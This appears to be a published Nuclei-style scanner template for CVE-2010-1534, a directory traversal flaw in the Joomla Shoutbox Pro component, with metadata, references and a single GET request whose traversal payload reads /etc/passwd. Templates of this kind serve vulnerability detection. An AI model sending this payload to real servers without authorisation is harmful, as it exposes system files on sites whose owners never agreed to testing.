CVE-2010-1534: Joomla! Component Shoutbox Pro - Local File Inclusion

2025-08-01 Joomla! Component Shoutbox Pro PoC Public

Description

A directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

PoC

id: CVE-2010-1534

info:
  name: Joomla! Component Shoutbox Pro - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Shoutbox Pro components.
  remediation: Upgrade to a supported version
  reference:
    - https://www.exploit-db.com/exploits/12067
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1534
    - http://www.exploit-db.com/exploits/12067
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57534
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1534
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96276
    cpe: cpe:2.3:a:joomla.batjo:com_shoutbox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla.batjo
    product: com_shoutbox
  tags: cve2010,cve,joomla,lfi,edb,joomla.batjo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048fec3b5f7257652569d14967b72b839a4df43bf39a78a6f406aca1f6f0c8fa2022100f86f95ea38ebc99a73f67b22bce994126d2448bd765b7c8d2b04b26b43f6e1ea:922c64590222798bb761d5b6d8e72950

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